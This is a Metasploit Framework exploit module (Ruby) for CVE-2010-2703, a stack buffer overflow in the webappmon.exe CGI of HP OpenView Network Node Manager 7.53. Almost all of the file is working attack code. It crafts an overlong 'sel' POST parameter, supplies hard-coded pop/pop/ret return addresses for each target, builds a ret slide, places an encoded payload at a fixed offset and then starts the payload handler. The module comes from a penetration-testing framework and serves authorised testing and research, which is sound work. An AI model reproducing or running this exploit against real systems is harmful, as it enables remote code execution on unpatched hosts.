metasploit-framework/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/webappmon.exe', :pattern => /Hewlett-Packard Development Company/ }

	include Msf::Exploit::Remote::HttpClient
	#include Msf::Exploit::Remote::Seh

	def initialize(info={})
		super(update_info(info,
			'Name'           => 'HP OpenView Network Node Manager execvp_nc Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53
				prior to NNM_01207 or NNM_01206 without the SSRT100025 hotfix. By specifying a long 'sel'
				parameter when calling methods within the 'webappmon.exe' CGI program, an attacker can
				cause a stack-based buffer overflow and execute arbitrary code.

				This vulnerability is not triggerable via a GET request due to limitations on the
				request size. The buffer being targetted is 16384 bytes in size. There are actually two
				adjacent buffers that both get overflowed (one into the other), and strcat is used.

				The vulnerable code is within the "execvp_nc" function within "ov.dll" prior to
				v 1.30.12.69. There are no stack cookies, so exploitation is easily achieved by
				overwriting the saved return address or SEH frame.

				This vulnerability might also be triggerable via other CGI programs, however this was
				not fully investigated.
			} ,
			'Author'         =>
				[
					'Shahin Ramezany <shahin[at]abysssec.com>',  # MOAUB #6 PoC and binary analysis
					'sinn3r',
					'jduck'   # Metasploit module
				],
			'License'	  => MSF_LICENSE,
			'Version'	  => "$Revision$",
			'References' =>
				[
					[ 'CVE', '2010-2703' ],
					[ 'OSVDB', '66514' ],
					[ 'BID', '41829' ],
					[ 'URL', 'http://www.vupen.com/english/advisories/2010/1866' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-137/' ],
					[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02286088' ]
				],
			'Payload'	 =>
				{
					'Space'    => 1024, # 16384 buffer..
					'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x24\x2c\x3b\x60",
					'DisableNops' => true,
				},
			'DefaultOptions' =>
				{
					'ExitFunction' => "seh",
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform' => 'win',
			'Targets'	 =>
				[
					[ 'HP OpenView Network Node Manager 7.53 w/NNM_01206',
						{
							'Ret'     => 0x5a02aacf, # pop edx/pop ebp/ret - in ov.dll (v1.30.12.29)
						}
					],
					[ 'HP OpenView Network Node Manager 7.53 (Windows 2003)',
						{
							'Ret'     => 0x71c069dd, # pop edx/pop ecx/ret - in ws2_32.dll v5.2.3790.3959
						}
					],
					[ 'Debug Target',
						{
							'Ret'     => 0xdeadbeef, # crasher
						}
					]
				],
			'DisclosureDate' => 'Jul 20 2010'))

		register_options(
			[
				Opt::RPORT(80),
			], self.class)
	end

	def exploit
		print_status("Trying target #{target.name}...")

		cgi = '/OvCgi/webappmon.exe'

		#
		# [ char CommandLine[16384] ][ char Parameters[16384] ]
		#
		# The first buffer gets smashed into the second, and a strcat is used on the second as well.
		# Therefore, we get an addative overflow.
		#

		# Parameters before strcat
		param_beg = "std \\\\.\\pipe\\OVSystem\\stdout\\0000038c00000001 \\\\.\\pipe\\OVSystem\\stderr\\0000038c00000001 "

		# CommnadLine before / after strcat
		cmd_beg = "OVcmd "
		cmd_beg << param_beg
		cmd_beg << "ping.exe -n 3 \""
		cmd_end = "\"  "

		# Other actions include: rping demandPoll natping locateRoute
		# And more...
		action = 'ping'

		# The buffer size is 16384, but we need to send enough extra so that we can still
		# overwrite the saved return address etc..
		bufsz = 16384 + param_beg.length

		# These addresses are within ov.dll
		ptr_to_zero = 0x5a066fff
		ptr_to_nonzero = 0x5a06706f
		ptr_to_ppr = target.ret
		ptr_to_ret = target.ret + 2

		payload_off = 578 # re-used pointer on the stack
		fixret_off = 16394
		fixret = [
			ptr_to_ppr,
			# stay alive til ret
			ptr_to_zero,
			ptr_to_nonzero
		]
		# ret slide down to within 2 pops :)
		((0x40 / 4) - 3).times {
			fixret << ptr_to_ret
		}
		# use the ppr to jump the last two, and go to the ptr
		fixret << ptr_to_ppr
		fixret = fixret.pack('V*')

		buf = ''
		buf << rand_text(bufsz - cmd_end.length)

		buf[fixret_off, fixret.length] = fixret

		# Put the payload in.
		buf[payload_off, payload.encoded.length] = payload.encoded

		# Slice off the start (so pattern_offset returns offset from beginning
		buf.slice!(0, cmd_beg.length)

		res = send_request_cgi({
			'uri'		  => cgi,
			'method'	  => "POST",
			'vars_post' =>
				{
					'ins' => 'nowait',
					'sel' => buf,
					'act' => action
				}
		}, 3)

		if res and res.code != 502
			print_error("Eek! We weren't expecting a response, but we got one")
			if datastore['DEBUG']
				print_error('')
				print_error(res.inspect)
			end
		end

		handler

	end

end